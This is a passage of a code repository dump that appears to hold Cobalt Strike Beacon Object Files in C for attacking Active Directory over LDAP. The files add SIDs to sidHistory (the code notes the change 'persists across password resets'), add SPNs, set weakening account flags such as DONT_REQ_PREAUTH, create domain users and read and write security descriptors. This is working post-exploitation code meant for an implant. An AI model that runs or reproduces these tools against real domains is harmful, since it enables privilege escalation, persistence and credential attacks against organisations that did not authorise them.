SidToString((PSID)sidToAdd->bv_val);\n        if (sidString) {\n        }\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Adding SID to sidHistory attribute...\");\n    \n    // Prepare LDAP modification\n    BERVAL* sid_bervals[2] = { sidToAdd, NULL };\n    LDAPModA sid_mod;\n    sid_mod.mod_op = LDAP_MOD_ADD | LDAP_MOD_BVALUES;\n    sid_mod.mod_type = \"sidHistory\";\n    sid_mod.mod_vals.modv_bvals = sid_bervals;\n    \n    LDAPModA* mods[] = { &sid_mod, NULL };\n    \n    // Perform modification\n    ULONG result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n    \n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully added SID to sidHistory!\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"\");\n        if (sidString) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Added SID: %s\", sidString);\n        }\n        BeaconPrintf(CALLBACK_OUTPUT, \"\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] The target object now has the privileges of the SID added\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] This change persists across password resets\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"\");\n        \n        // Display updated state\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Updated object state:\");\n        DisplaySidHistory(ld, targetDN);\n        \n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to add SID to sidHistory\");\n        PrintLdapError(\"Add sidHistory\", result);\n        BeaconPrintf(CALLBACK_OUTPUT, \"\");\n        \n        if (result == LDAP_INSUFFICIENT_RIGHTS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Insufficient permissions\\n\"\n            \"[!] Required rights:\\n\"\n            \"[!]   - DS-Install-Replica (domain controller install rights)\\n\"\n            \"[!]   - Or 'Migrate SID History' extended right\\n\"\n            \"[!]   - Typically only Domain Admins or Enterprise Admins\");\n        } else if (result == LDAP_UNWILLING_TO_PERFORM) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Server refused to perform operation\\n\"\n            \"[!] Possible causes:\\n\"\n            \"[!]   - SID filtering is enabled\\n\"\n            \"[!]   - Target is a protected account\\n\"\n            \"[!]   - Forest functional level restrictions\");\n        } else if (result == LDAP_CONSTRAINT_VIOLATION) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Constraint violation\\n\"\n            \"[!] Possible causes:\\n\"\n            \"[!]   - SID already exists in sidHistory\\n\"\n            \"[!]   - SID is from same domain (not allowed)\\n\"\n            \"[!]   - Invalid SID format\");\n        } else if (result == LDAP_OBJECT_CLASS_VIOLATION) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Target object type doesn't support sidHistory\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] sidHistory is only valid on user and computer objects\");\n        }\n    }\n    \ncleanup:\n    // Cleanup\n    if (sidToAdd) {\n        if (sidToAdd->bv_val) MSVCRT$free(sidToAdd->bv_val);\n        MSVCRT$free(sidToAdd);\n    }\n    if (sidString) MSVCRT$free(sidString);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (targetDN) MSVCRT$free(targetDN);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"\");\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/add/add-spn.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: target_identifier, is_dn, spn, search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* spn = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    if (!spn || MSVCRT$strlen(spn) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] SPN is required\");\n        return;\n    }\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Resolve target DN\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, targetIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Add SPN\n    char* spn_values[] = { spn, NULL };\n    LDAPModA spn_mod;\n    spn_mod.mod_op = LDAP_MOD_ADD;\n    spn_mod.mod_type = \"servicePrincipalName\";\n    spn_mod.mod_vals.modv_strvals = spn_values;\n\n    LDAPModA* mods[] = { &spn_mod, NULL };\n\n    ULONG result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n\n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully added SPN '%s'\", spn);\n    } else if (result == LDAP_ATTRIBUTE_OR_VALUE_EXISTS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] SPN '%s' already exists\", spn);\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to add SPN\");\n        PrintLdapError(\"Add SPN\", result);\n    }\n\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/add/add-uac.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nDECLSPEC_IMPORT long __cdecl MSVCRT$strtol(const char* str, char** endptr, int base);\n\ntypedef struct {\n    const char* name;\n    DWORD value;\n} UAC_FLAG_MAP;\n\nstatic const UAC_FLAG_MAP uacFlags[] = {\n    {\"SCRIPT\", UF_SCRIPT},\n    {\"ACCOUNTDISABLE\", UF_ACCOUNTDISABLE},\n    {\"HOMEDIR_REQUIRED\", UF_HOMEDIR_REQUIRED},\n    {\"LOCKOUT\", UF_LOCKOUT},\n    {\"PASSWD_NOTREQD\", UF_PASSWD_NOTREQD},\n    {\"PASSWD_CANT_CHANGE\", UF_PASSWD_CANT_CHANGE},\n    {\"ENCRYPTED_TEXT_PWD_ALLOWED\", UF_ENCRYPTED_TEXT_PWD_ALLOWED},\n    {\"TEMP_DUPLICATE_ACCOUNT\", UF_TEMP_DUPLICATE_ACCOUNT},\n    {\"NORMAL_ACCOUNT\", UF_NORMAL_ACCOUNT},\n    {\"INTERDOMAIN_TRUST_ACCOUNT\", UF_INTERDOMAIN_TRUST_ACCOUNT},\n    {\"WORKSTATION_TRUST_ACCOUNT\", UF_WORKSTATION_TRUST_ACCOUNT},\n    {\"SERVER_TRUST_ACCOUNT\", UF_SERVER_TRUST_ACCOUNT},\n    {\"DONT_EXPIRE_PASSWD\", UF_DONT_EXPIRE_PASSWD},\n    {\"MNS_LOGON_ACCOUNT\", UF_MNS_LOGON_ACCOUNT},\n    {\"SMARTCARD_REQUIRED\", UF_SMARTCARD_REQUIRED},\n    {\"TRUSTED_FOR_DELEGATION\", UF_TRUSTED_FOR_DELEGATION},\n    {\"NOT_DELEGATED\", UF_NOT_DELEGATED},\n    {\"USE_DES_KEY_ONLY\", UF_USE_DES_KEY_ONLY},\n    {\"DONT_REQ_PREAUTH\", UF_DONT_REQ_PREAUTH},\n    {\"PASSWORD_EXPIRED\", UF_PASSWORD_EXPIRED},\n    {\"TRUSTED_TO_AUTH_FOR_DELEGATION\", UF_TRUSTED_TO_AUTH_FOR_DELEGATION},\n    {\"NO_AUTH_DATA_REQUIRED\", UF_NO_AUTH_DATA_REQUIRED},\n    {\"PARTIAL_SECRETS_ACCOUNT\", UF_PARTIAL_SECRETS_ACCOUNT},\n    {NULL, 0}\n};\n\nDWORD ParseUACFlags(const char* flagString) {\n    if (!flagString || MSVCRT$strlen(flagString) == 0) return 0;\n    DWORD result = 0;\n    char buffer[512];\n    MSVCRT$_snprintf(buffer, sizeof(buffer), \"%s\", flagString);\n\n    char* token = buffer;\n    char* next = buffer;\n\n    while (*next) {\n        while (*next && *next != ',') next++;\n        char savedChar = *next;\n        *next = '\\0';\n\n        while (*token == ' ' || *token == '\\t') token++;\n        char* end = token + MSVCRT$strlen(token) - 1;\n        while (end > token && (*end == ' ' || *end == '\\t')) {\n            *end = '\\0';\n            end--;\n        }\n\n        if (MSVCRT$strlen(token) > 0) {\n            for (int i = 0; uacFlags[i].name != NULL; i++) {\n                if (MSVCRT$strcmp(token, uacFlags[i].name) == 0) {\n                    result |= uacFlags[i].value;\n                    break;\n                }\n            }\n        }\n\n        if (savedChar) {\n            *next = savedChar;\n            next++;\n            token = next;\n        } else {\n            break;\n        }\n    }\n    return result;\n}\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n\n    // Parse arguments: target_identifier, is_dn, flags, search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* flagsValue = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n\n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n\n    if (!flagsValue || MSVCRT$strlen(flagsValue) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Flags are required (e.g., DONT_REQ_PREAUTH,DONT_EXPIRE_PASSWD)\");\n        return;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Flags to add: %s\", flagsValue);\n\n    DWORD flagsToAdd = ParseUACFlags(flagsValue);\n    if (flagsToAdd == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] No valid flags parsed\");\n        return;\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Parsed flags: 0x%08X\", flagsToAdd);\n\n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n\n    // Get default naming context\n    char* defaultNC = NULL;\n    if (!isTargetDN) {\n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Resolve target DN\n    char* targetDN = NULL;\n    if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, targetIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n\n    // Get current UAC value\n    LDAPMessage* searchResult = NULL;\n    char* attrs[] = { \"userAccountControl\", NULL };\n    ULONG result = WLDAP32$ldap_search_s(ld, targetDN, LDAP_SCOPE_BASE, \"(objectClass=*)\", attrs, 0, &searchResult);\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to read current UAC\");\n        MSVCRT$free(targetDN);\n        if (defaultNC) MSVCRT$free(defaultNC);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    DWORD currentUAC = 0;\n    LDAPMessage* entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (entry) {\n        char** values = WLDAP32$ldap_get_values(ld, entry, \"userAccountControl\");\n        if (values && values[0]) {\n            currentUAC = (DWORD)MSVCRT$strtol(values[0], NULL, 10);\n            WLDAP32$ldap_value_free(values);\n        }\n    }\n    WLDAP32$ldap_msgfree(searchResult);\n\n    // Calculate new UAC value\n    DWORD newUAC = currentUAC | flagsToAdd;\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Current UAC: 0x%08X -> New UAC: 0x%08X\", currentUAC, newUAC);\n\n    // Set new UAC value\n    char uacString[32];\n    MSVCRT$_snprintf(uacString, sizeof(uacString), \"%lu\", newUAC);\n\n    char* uac_values[] = { uacString, NULL };\n    LDAPModA uac_mod;\n    uac_mod.mod_op = LDAP_MOD_REPLACE;\n    uac_mod.mod_type = \"userAccountControl\";\n    uac_mod.mod_vals.modv_strvals = uac_values;\n\n    LDAPModA* mods[] = { &uac_mod, NULL };\n\n    result = WLDAP32$ldap_modify_s(ld, targetDN, mods);\n\n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully added UAC flags\");\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to modify UAC\");\n        PrintLdapError(\"Modify UAC\", result);\n    }\n\n    MSVCRT$free(targetDN);\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/add/add-user.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    \n    // Parse arguments: username (or DN), password, firstname, lastname, email, disabled, \n    // ou_path, dc_address, use_ldaps\n    char* userIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isUserDN = BeaconDataInt(&parser);\n    char* password = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* firstname = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* lastname = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* email = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int disabled = BeaconDataInt(&parser);\n    char* ouPath = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    \n    if (!userIdentifier || MSVCRT$strlen(userIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Username or DN is required\");\n        return;\n    }\n    \n    if (!password || MSVCRT$strlen(password) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Password is required\");\n        return;\n    }\n    \n    // Force LDAPS if password provided\n    BOOL requireLdaps = (password && MSVCRT$strlen(password) > 0) || useLdaps;\n    \n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n    \n    // Get default naming context - will build from hostname if possible\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n    \n    // Build user DN and extract username\n    char userDN[512];\n    char username[256];\n    \n    if (isUserDN) {\n        // Use provided DN directly\n        MSVCRT$_snprintf(userDN, sizeof(userDN), \"%s\", userIdentifier);\n        \n        // Extract CN from DN for sAMAccountName\n        char* cnStart = MSVCRT$strstr(userIdentifier, \"CN=\");\n        if (cnStart) {\n            cnStart += 3; // Skip \"CN=\"\n            char* cnEnd = MSVCRT$strstr(cnStart, \",\");\n            if (cnEnd) {\n                int cnLen = cnEnd - cnStart;\n                if (cnLen > 0 && cnLen < 256) {\n                    MSVCRT$memcpy(username, cnStart, cnLen);\n                    username[cnLen] = '\\0';\n                } else {\n                    MSVCRT$strcpy(username, cnStart);\n                }\n            } else {\n                MSVCRT$strcpy(username, cnStart);\n            }\n        } else {\n            // Fallback: use the entire identifier as username\n            MSVCRT$strcpy(username, userIdentifier);\n        }\n    } else {\n        // Build DN using provided OU path or default Users container\n        MSVCRT$strcpy(username, userIdentifier);\n        \n        if (ouPath && MSVCRT$strlen(ouPath) > 0) {\n            // Use provided OU path\n            MSVCRT$_snprintf(userDN, sizeof(userDN), \"CN=%s,%s\", username, ouPath);\n        } else {\n            // Use default Users container\n            MSVCRT$_snprintf(userDN, sizeof(userDN), \"CN=%s,CN=Users,%s\", username, defaultNC);\n        }\n    }\n    \n    // Build UPN (username@domain)\n    char upn[256];\n    char* dcPtr = defaultNC;\n    char domain[256] = {0};\n    int domainPos = 0;\n    int firstDC = 1;\n    \n    while (*dcPtr && domainPos < 255) {\n        if (dcPtr[0] == 'D' && dcPtr[1] == 'C' && dcPtr[2] == '=') {\n            dcPtr += 3;\n            if (!firstDC) domain[domainPos++] = '.';\n            firstDC = 0;\n            while (*dcPtr && *dcPtr != ',' && domainPos < 255) {\n                char ch = *dcPtr;\n                if (ch >= 'A' && ch <= 'Z') ch += 32; // lowercase\n                domain[domainPos++] = ch;\n                dcPtr++;\n            }\n        } else {\n            dcPtr++;\n        }\n    }\n    domain[domainPos] = '\\0';\n    MSVCRT$_snprintf(upn, sizeof(upn), \"%s@%s\", username, domain);\n    \n    // Prepare attributes\n    char* objectClass_values[] = { \"top\", \"person\", \"organizationalPerson\", \"user\", NULL };\n    LDAPModA objectClass_mod = { LDAP_MOD_ADD, \"objectClass\", { .modv_strvals = objectClass_values } };\n    \n    char* cn_values[] = { username, NULL };\n    LDAPModA cn_mod = { LDAP_MOD_ADD, \"cn\", { .modv_strvals = cn_values } };\n    \n    char* sam_values[] = { username, NULL };\n    LDAPModA sam_mod = { LDAP_MOD_ADD, \"sAMAccountName\", { .modv_strvals = sam_values } };\n    \n    char* upn_values[] = { upn, NULL };\n    LDAPModA upn_mod = { LDAP_MOD_ADD, \"userPrincipalName\", { .modv_strvals = upn_values } };\n    \n    char* uac_values[] = { disabled ? \"514\" : \"512\", NULL };\n    LDAPModA uac_mod = { LDAP_MOD_ADD, \"userAccountControl\", { .modv_strvals = uac_values } };\n    \n    // Optional attributes\n    LDAPModA givenName_mod, sn_mod, mail_mod, password_mod;\n    BERVAL* encodedPassword = NULL;\n    BERVAL* password_bervals[2] = { NULL, NULL };\n    \n    LDAPModA* attrs[10];\n    int attrCount = 0;\n    attrs[attrCount++] = &objectClass_mod;\n    attrs[attrCount++] = &cn_mod;\n    attrs[attrCount++] = &sam_mod;\n    attrs[attrCount++] = &upn_mod;\n    attrs[attrCount++] = &uac_mod;\n    \n    if (firstname && MSVCRT$strlen(firstname) > 0) {\n        char* given_values[] = { firstname, NULL };\n        givenName_mod.mod_op = LDAP_MOD_ADD;\n        givenName_mod.mod_type = \"givenName\";\n        givenName_mod.mod_vals.modv_strvals = given_values;\n        attrs[attrCount++] = &givenName_mod;\n    }\n    \n    if (lastname && MSVCRT$strlen(lastname) > 0) {\n        char* sn_values[] = { lastname, NULL };\n        sn_mod.mod_op = LDAP_MOD_ADD;\n        sn_mod.mod_type = \"sn\";\n        sn_mod.mod_vals.modv_strvals = sn_values;\n        attrs[attrCount++] = &sn_mod;\n    }\n    \n    if (email && MSVCRT$strlen(email) > 0) {\n        char* mail_values[] = { email, NULL };\n        mail_mod.mod_op = LDAP_MOD_ADD;\n        mail_mod.mod_type = \"mail\";\n        mail_mod.mod_vals.modv_strvals = mail_values;\n        attrs[attrCount++] = &mail_mod;\n    }\n    \n    if (password && MSVCRT$strlen(password) > 0) {\n        encodedPassword = EncodePassword(password);\n        if (encodedPassword) {\n            password_bervals[0] = encodedPassword;\n            password_mod.mod_op = LDAP_MOD_ADD | LDAP_MOD_BVALUES;\n            password_mod.mod_type = \"unicodePwd\";\n            password_mod.mod_vals.modv_bvals = password_bervals;\n            attrs[attrCount++] = &password_mod;\n        }\n    }\n    \n    attrs[attrCount] = NULL;\n    \n    // Add user\n    ULONG result = WLDAP32$ldap_add_s(ld, userDN, attrs);\n    \n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully created user '%s'\", username);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] DN: %s\", userDN);\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create user\");\n        PrintLdapError(\"Add user\", result);\n        if (result == LDAP_ALREADY_EXISTS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] User already exists\");\n        } else if (result == LDAP_INSUFFICIENT_RIGHTS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Insufficient permissions\");\n        }\n    }\n    \n    // Cleanup\n    if (encodedPassword) {\n        MSVCRT$free(encodedPassword->bv_val);\n        MSVCRT$free(encodedPassword);\n    }\n    MSVCRT$free(defaultNC);\n    MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/common/acl_common.c",
    "content": "// acl_common.c - Shared ACL/Security Descriptor utilities for BOF operations\n// This file should be #included in each BOF that uses these functions\n\n#include <windows.h>\n#include \"acl_common.h\"\n\n// Import required MSVCRT functions (already imported in ldap_common.c but listed for clarity)\nDECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char* str1, const char* str2);\nDECLSPEC_IMPORT int __cdecl MSVCRT$strncmp(const char* str1, const char* str2, size_t count);\nDECLSPEC_IMPORT size_t __cdecl MSVCRT$strlen(const char* str);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strcpy(char* dest, const char* src);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strncpy(char* dest, const char* src, size_t count);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strcat(char* dest, const char* src);\nDECLSPEC_IMPORT char* __cdecl MSVCRT$strstr(const char* str, const char* substr);\nDECLSPEC_IMPORT int __cdecl MSVCRT$_snprintf(char* buffer, size_t count, const char* format, ...);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t size);\nDECLSPEC_IMPORT void __cdecl MSVCRT$free(void* ptr);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(void* dest, const void* src, size_t count);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memset(void* dest, int c, size_t count);\n\n// ============================================================================\n// SECURITY DESCRIPTOR OPERATIONS\n// ============================================================================\n\n// Read ntSecurityDescriptor attribute from LDAP object\nBERVAL* ReadSecurityDescriptor(LDAP* ld, const char* objectDN) {\n    if (!ld || !objectDN) return NULL;\n\n    LDAPMessage* searchResult = NULL;\n    LDAPMessage* entry = NULL;\n    char* attrs[] = { \"ntSecurityDescriptor\", NULL };\n    struct berval** values = NULL;\n    BERVAL* sdBerval = NULL;\n\n    // Create SD_FLAGS control to request OWNER, GROUP, and DACL\n    DWORD sdFlags = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION;\n\n    char sdFlagsBuffer[10];\n    struct berval sdFlagsValue;\n    LDAPControlA* sdFlagsControl = BuildSDFlagsControl(sdFlags, sdFlagsBuffer, &sdFlagsValue);\n\n    LDAPControlA* serverControls[] = { sdFlagsControl, NULL };\n\n    // Search for the object with ntSecurityDescriptor attribute using the SD_FLAGS control\n    ULONG result = WLDAP32$ldap_search_ext_s(\n        ld,\n        (char*)objectDN,\n        LDAP_SCOPE_BASE,\n        \"(objectClass=*)\",\n        attrs,\n        0,\n        serverControls,\n        NULL,           // ClientControls\n        NULL,           // timeout\n        0,              // SizeLimit\n        &searchResult\n    );\n\n    if (result != LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to search for object\");\n        PrintLdapError(\"Search for ntSecurityDescriptor\", result);\n        return NULL;\n    }\n\n    entry = WLDAP32$ldap_first_entry(ld, searchResult);\n    if (!entry) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Object not found\");\n        WLDAP32$ldap_msgfree(searchResult);\n        return NULL;\n    }\n\n    // Get the binary ntSecurityDescriptor value\n    values = WLDAP32$ldap_get_values_len(ld, entry, \"ntSecurityDescriptor\");\n    if (!values || !values[0]) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to retrieve ntSecurityDescriptor attribute\");\n        WLDAP32$ldap_msgfree(searchResult);\n        return NULL;\n    }\n\n    // Allocate and copy the security descriptor\n    sdBerval = (BERVAL*)MSVCRT$malloc(sizeof(BERVAL));\n    if (sdBerval) {\n        sdBerval->bv_len = values[0]->bv_len;\n        sdBerval->bv_val = (char*)MSVCRT$malloc(sdBerval->bv_len);\n        if (sdBerval->bv_val) {\n            MSVCRT$memcpy(sdBerval->bv_val, values[0]->bv_val, sdBerval->bv_len);\n        } else {\n            MSVCRT$free(sdBerval);\n            sdBerval = NULL;\n        }\n    }\n\n    WLDAP32$ldap_value_free_len(values);\n    WLDAP32$ldap_msgfree(searchResult);\n\n    return sdBerval;\n}\n\n// Write ntSecurityDescriptor attribute back to LDAP object\nBOOL WriteSecurityDescriptor(LDAP* ld, const char* objectDN, BERVAL* sdBerval) {\n    if (!ld || !objectDN || !sdBerval) return FALSE;\n\n    struct berval* values[] = { sdBerval, NULL };\n    LDAPModA sdMod;\n    sdMod.mod_op = LDAP_MOD_REPLACE | LDAP_MOD_BVALUES;\n    sdMod.mod_type = \"ntSecurityDescriptor\";\n    sdMod.mod_vals.modv_bvals = values;\n\n    LDAPModA* mods[] = { &sdMod, NULL };\n\n    ULONG result = WLDAP32$ldap_modify_s(ld, (char*)objectDN, mods);\n\n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Successfully updated ntSecurityDescriptor\");\n        return TRUE;\n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to update ntSecurityDescriptor\");\n        PrintLdapError(\"Update ntSecurityDescriptor\", result);\n        return FALSE;\n    }\n}\n\n// Parse security descriptor buffer into structured information\nPSD_INFO ParseSecurityDescriptor(BYTE* sdBuffer, DWORD sdLength) {\n    if (!sdBuffer || sdLength == 0) return NULL;\n\n    PSECURITY_DESCRIPTOR pSD = (PSECURITY_DESCRIPTOR)sdBuffer;\n    PSD_INFO sdInfo = (PSD_INFO)MSVCRT$malloc(sizeof(SD_INFO));\n    if (!sdInfo) return NULL;\n\n    MSVCRT$memset(sdInfo, 0, sizeof(SD_INFO));\n\n    // Get control flags\n    SECURITY_DESCRIPTOR_CONTROL control = 0;\n    DWORD revision = 0;\n    if (!ADVAPI32$GetSecurityDescriptorControl(pSD, &control, &revision)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get security descriptor control\");\n        MSVCRT$free(sdInfo);\n        return NULL;\n    }\n    sdInfo->ControlFlags = control;\n\n    // Get Owner SID\n    PSID pOwner = NULL;\n    BOOL ownerDefaulted = FALSE;\n    if (ADVAPI32$GetSecurityDescriptorOwner(pSD, &pOwner, &ownerDefaulted) && pOwner) {\n        LPSTR ownerSidStr = NULL;\n        if (ADVAPI32$ConvertSidToStringSidA(pOwner, &ownerSidStr)) {\n            size_t len = MSVCRT$strlen(ownerSidStr) + 1;\n            sdInfo->OwnerSid = (char*)MSVCRT$malloc(len);\n            if (sdInfo->OwnerSid) {\n                MSVCRT$strcpy(sdInfo->OwnerSid, ownerSidStr);\n            }\n            KERNEL32$LocalFree(ownerSidStr);\n        }\n    }\n\n    // Get Group SID\n    PSID pGroup = NULL;\n    BOOL groupDefaulted = FALSE;\n    if (ADVAPI32$GetSecurityDescriptorGroup(pSD, &pGroup, &groupDefaulted) && pGroup) {\n        LPSTR groupSidStr = NULL;\n        if (ADVAPI32$ConvertSidToStringSidA(pGroup, &groupSidStr)) {\n            size_t len = MSVCRT$strlen(groupSidStr) + 1;\n            sdInfo->GroupSid = (char*)MSVCRT$malloc(len);\n            if (sdInfo->GroupSid) {\n                MSVCRT$strcpy(sdInfo->GroupSid, groupSidStr);\n            }\n            